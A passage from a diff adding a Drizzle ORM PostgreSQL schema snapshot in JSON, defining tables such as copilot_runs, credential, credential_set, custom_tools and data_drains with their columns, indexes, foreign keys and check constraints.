"copilot_runs_chat_id_copilot_chats_id_fk", + "tableFrom": "copilot_runs", + "tableTo": "copilot_chats", + "columnsFrom": ["chat_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "copilot_runs_user_id_user_id_fk": { + "name": "copilot_runs_user_id_user_id_fk", + "tableFrom": "copilot_runs", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "copilot_runs_workflow_id_workflow_id_fk": { + "name": "copilot_runs_workflow_id_workflow_id_fk", + "tableFrom": "copilot_runs", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "copilot_runs_workspace_id_workspace_id_fk": { + "name": "copilot_runs_workspace_id_workspace_id_fk", + "tableFrom": "copilot_runs", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.copilot_workflow_read_hashes": { + "name": "copilot_workflow_read_hashes", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "chat_id": { + "name": "chat_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "hash": { + "name": "hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "copilot_workflow_read_hashes_chat_id_idx": { + "name": "copilot_workflow_read_hashes_chat_id_idx", + "columns": [ + { + "expression": "chat_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_workflow_read_hashes_workflow_id_idx": { + "name": "copilot_workflow_read_hashes_workflow_id_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "copilot_workflow_read_hashes_chat_workflow_unique": { + "name": "copilot_workflow_read_hashes_chat_workflow_unique", + "columns": [ + { + "expression": "chat_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "copilot_workflow_read_hashes_chat_id_copilot_chats_id_fk": { + "name": "copilot_workflow_read_hashes_chat_id_copilot_chats_id_fk", + "tableFrom": "copilot_workflow_read_hashes", + "tableTo": "copilot_chats", + "columnsFrom": ["chat_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "copilot_workflow_read_hashes_workflow_id_workflow_id_fk": { + "name": "copilot_workflow_read_hashes_workflow_id_workflow_id_fk", + "tableFrom": "copilot_workflow_read_hashes", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.credential": { + "name": "credential", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "type": { + "name": "type", + "type": "credential_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "display_name": { + "name": "display_name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider_id": { + "name": "provider_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "account_id": { + "name": "account_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "env_key": { + "name": "env_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "env_owner_user_id": { + "name": "env_owner_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "encrypted_service_account_key": { + "name": "encrypted_service_account_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "credential_workspace_id_idx": { + "name": "credential_workspace_id_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credential_type_idx": { + "name": "credential_type_idx", + "columns": [ + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credential_provider_id_idx": { + "name": "credential_provider_id_idx", + "columns": [ + { + "expression": "provider_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credential_account_id_idx": { + "name": "credential_account_id_idx", + "columns": [ + { + "expression": "account_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credential_env_owner_user_id_idx": { + "name": "credential_env_owner_user_id_idx", + "columns": [ + { + "expression": "env_owner_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credential_workspace_account_unique": { + "name": "credential_workspace_account_unique", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "account_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "account_id IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "credential_workspace_env_unique": { + "name": "credential_workspace_env_unique", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "env_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "type = 'env_workspace'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "credential_workspace_personal_env_unique": { + "name": "credential_workspace_personal_env_unique", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "env_key", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "env_owner_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "type = 'env_personal'", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "credential_workspace_id_workspace_id_fk": { + "name": "credential_workspace_id_workspace_id_fk", + "tableFrom": "credential", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "credential_account_id_account_id_fk": { + "name": "credential_account_id_account_id_fk", + "tableFrom": "credential", + "tableTo": "account", + "columnsFrom": ["account_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "credential_env_owner_user_id_user_id_fk": { + "name": "credential_env_owner_user_id_user_id_fk", + "tableFrom": "credential", + "tableTo": "user", + "columnsFrom": ["env_owner_user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "credential_created_by_user_id_fk": { + "name": "credential_created_by_user_id_fk", + "tableFrom": "credential", + "tableTo": "user", + "columnsFrom": ["created_by"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "credential_oauth_source_check": { + "name": "credential_oauth_source_check", + "value": "(type <> 'oauth') OR (account_id IS NOT NULL AND provider_id IS NOT NULL)" + }, + "credential_workspace_env_source_check": { + "name": "credential_workspace_env_source_check", + "value": "(type <> 'env_workspace') OR (env_key IS NOT NULL AND env_owner_user_id IS NULL)" + }, + "credential_personal_env_source_check": { + "name": "credential_personal_env_source_check", + "value": "(type <> 'env_personal') OR (env_key IS NOT NULL AND env_owner_user_id IS NOT NULL)" + } + }, + "isRLSEnabled": false + }, + "public.credential_member": { + "name": "credential_member", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "credential_id": { + "name": "credential_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "credential_member_role", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'member'" + }, + "status": { + "name": "status", + "type": "credential_member_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "joined_at": { + "name": "joined_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "invited_by": { + "name": "invited_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "credential_member_user_id_idx": { + "name": "credential_member_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credential_member_role_idx": { + "name": "credential_member_role_idx", + "columns": [ + { + "expression": "role", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credential_member_status_idx": { + "name": "credential_member_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credential_member_unique": { + "name": "credential_member_unique", + "columns": [ + { + "expression": "credential_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "credential_member_credential_id_credential_id_fk": { + "name": "credential_member_credential_id_credential_id_fk", + "tableFrom": "credential_member", + "tableTo": "credential", + "columnsFrom": ["credential_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "credential_member_user_id_user_id_fk": { + "name": "credential_member_user_id_user_id_fk", + "tableFrom": "credential_member", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "credential_member_invited_by_user_id_fk": { + "name": "credential_member_invited_by_user_id_fk", + "tableFrom": "credential_member", + "tableTo": "user", + "columnsFrom": ["invited_by"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.credential_set": { + "name": "credential_set", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "organization_id": { + "name": "organization_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider_id": { + "name": "provider_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "credential_set_created_by_idx": { + "name": "credential_set_created_by_idx", + "columns": [ + { + "expression": "created_by", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credential_set_org_name_unique": { + "name": "credential_set_org_name_unique", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credential_set_provider_id_idx": { + "name": "credential_set_provider_id_idx", + "columns": [ + { + "expression": "provider_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "credential_set_organization_id_organization_id_fk": { + "name": "credential_set_organization_id_organization_id_fk", + "tableFrom": "credential_set", + "tableTo": "organization", + "columnsFrom": ["organization_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "credential_set_created_by_user_id_fk": { + "name": "credential_set_created_by_user_id_fk", + "tableFrom": "credential_set", + "tableTo": "user", + "columnsFrom": ["created_by"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.credential_set_invitation": { + "name": "credential_set_invitation", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "credential_set_id": { + "name": "credential_set_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "token": { + "name": "token", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "invited_by": { + "name": "invited_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "credential_set_invitation_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "accepted_at": { + "name": "accepted_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "accepted_by_user_id": { + "name": "accepted_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "credential_set_invitation_set_id_idx": { + "name": "credential_set_invitation_set_id_idx", + "columns": [ + { + "expression": "credential_set_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credential_set_invitation_token_idx": { + "name": "credential_set_invitation_token_idx", + "columns": [ + { + "expression": "token", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credential_set_invitation_status_idx": { + "name": "credential_set_invitation_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credential_set_invitation_expires_at_idx": { + "name": "credential_set_invitation_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "credential_set_invitation_credential_set_id_credential_set_id_fk": { + "name": "credential_set_invitation_credential_set_id_credential_set_id_fk", + "tableFrom": "credential_set_invitation", + "tableTo": "credential_set", + "columnsFrom": ["credential_set_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "credential_set_invitation_invited_by_user_id_fk": { + "name": "credential_set_invitation_invited_by_user_id_fk", + "tableFrom": "credential_set_invitation", + "tableTo": "user", + "columnsFrom": ["invited_by"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "credential_set_invitation_accepted_by_user_id_user_id_fk": { + "name": "credential_set_invitation_accepted_by_user_id_user_id_fk", + "tableFrom": "credential_set_invitation", + "tableTo": "user", + "columnsFrom": ["accepted_by_user_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "credential_set_invitation_token_unique": { + "name": "credential_set_invitation_token_unique", + "nullsNotDistinct": false, + "columns": ["token"] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.credential_set_member": { + "name": "credential_set_member", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "credential_set_id": { + "name": "credential_set_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "credential_set_member_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "joined_at": { + "name": "joined_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "invited_by": { + "name": "invited_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "credential_set_member_user_id_idx": { + "name": "credential_set_member_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credential_set_member_unique": { + "name": "credential_set_member_unique", + "columns": [ + { + "expression": "credential_set_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "credential_set_member_status_idx": { + "name": "credential_set_member_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "credential_set_member_credential_set_id_credential_set_id_fk": { + "name": "credential_set_member_credential_set_id_credential_set_id_fk", + "tableFrom": "credential_set_member", + "tableTo": "credential_set", + "columnsFrom": ["credential_set_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "credential_set_member_user_id_user_id_fk": { + "name": "credential_set_member_user_id_user_id_fk", + "tableFrom": "credential_set_member", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "credential_set_member_invited_by_user_id_fk": { + "name": "credential_set_member_invited_by_user_id_fk", + "tableFrom": "credential_set_member", + "tableTo": "user", + "columnsFrom": ["invited_by"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.custom_block": { + "name": "custom_block", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "organization_id": { + "name": "organization_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "''" + }, + "icon_url": { + "name": "icon_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "outputs": { + "name": "outputs", + "type": "json", + "primaryKey": false, + "notNull": false + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "custom_block_organization_id_idx": { + "name": "custom_block_organization_id_idx", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "custom_block_workflow_id_idx": { + "name": "custom_block_workflow_id_idx", + "columns": [ + { + "expression": "workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "custom_block_organization_type_unique": { + "name": "custom_block_organization_type_unique", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "custom_block_organization_id_organization_id_fk": { + "name": "custom_block_organization_id_organization_id_fk", + "tableFrom": "custom_block", + "tableTo": "organization", + "columnsFrom": ["organization_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "custom_block_workflow_id_workflow_id_fk": { + "name": "custom_block_workflow_id_workflow_id_fk", + "tableFrom": "custom_block", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "custom_block_created_by_user_id_fk": { + "name": "custom_block_created_by_user_id_fk", + "tableFrom": "custom_block", + "tableTo": "user", + "columnsFrom": ["created_by"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.custom_tools": { + "name": "custom_tools", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "schema": { + "name": "schema", + "type": "json", + "primaryKey": false, + "notNull": true + }, + "code": { + "name": "code", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "custom_tools_workspace_id_idx": { + "name": "custom_tools_workspace_id_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "custom_tools_workspace_title_unique": { + "name": "custom_tools_workspace_title_unique", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "title", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "custom_tools_workspace_id_workspace_id_fk": { + "name": "custom_tools_workspace_id_workspace_id_fk", + "tableFrom": "custom_tools", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "custom_tools_user_id_user_id_fk": { + "name": "custom_tools_user_id_user_id_fk", + "tableFrom": "custom_tools", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.data_drain_runs": { + "name": "data_drain_runs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "drain_id": { + "name": "drain_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "data_drain_run_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "trigger": { + "name": "trigger", + "type": "data_drain_run_trigger", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "started_at": { + "name": "started_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "finished_at": { + "name": "finished_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "rows_exported": { + "name": "rows_exported", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "bytes_written": { + "name": "bytes_written", + "type": "bigint", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "cursor_before": { + "name": "cursor_before", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "cursor_after": { + "name": "cursor_after", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "locators": { + "name": "locators", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + } + }, + "indexes": { + "data_drain_runs_drain_started_idx": { + "name": "data_drain_runs_drain_started_idx", + "columns": [ + { + "expression": "drain_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "started_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "data_drain_runs_drain_id_data_drains_id_fk": { + "name": "data_drain_runs_drain_id_data_drains_id_fk", + "tableFrom": "data_drain_runs", + "tableTo": "data_drains", + "columnsFrom": ["drain_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.data_drains": { + "name": "data_drains", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "organization_id": { + "name": "organization_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source": { + "name": "source", + "type": "data_drain_source", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "destination_type": { + "name": "destination_type", + "type": "data_drain_destination", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "destination_config": { + "name": "destination_config", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "destination_credentials": { + "name": "destination_credentials", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "schedule_cadence": { + "name": "schedule_cadence", + "type": "data_drain_cadence", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "cursor": { + "name": "cursor", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_run_at": { + "name": "last_run_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "last_success_at": { + "name": "last_success_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "data_drains_org_idx": { + "name": "data_drains_org_idx", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "data_drains_due_idx": { + "name": "data_drains_due_idx", + "columns": [ + { + "expression": "enabled", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "last_run_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "data_drains_org_name_unique": { + "name": "data_drains_org_name_unique", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "data_drains_organization_id_organization_id_fk": { + "name": "data_drains_organization_id_organization_id_fk", + "tableFrom": "data_drains", + "tableTo": "organization", + "columnsFrom": ["organization_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "data_drains_created_by_user_id_fk": { + "name": "data_drains_created_by_user_id_fk", + "tableFrom": "data_drains", + "tableTo": "user", + "columnsFrom": ["created_by"], + "columnsTo": ["id"], + "onDelete": "no action", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + 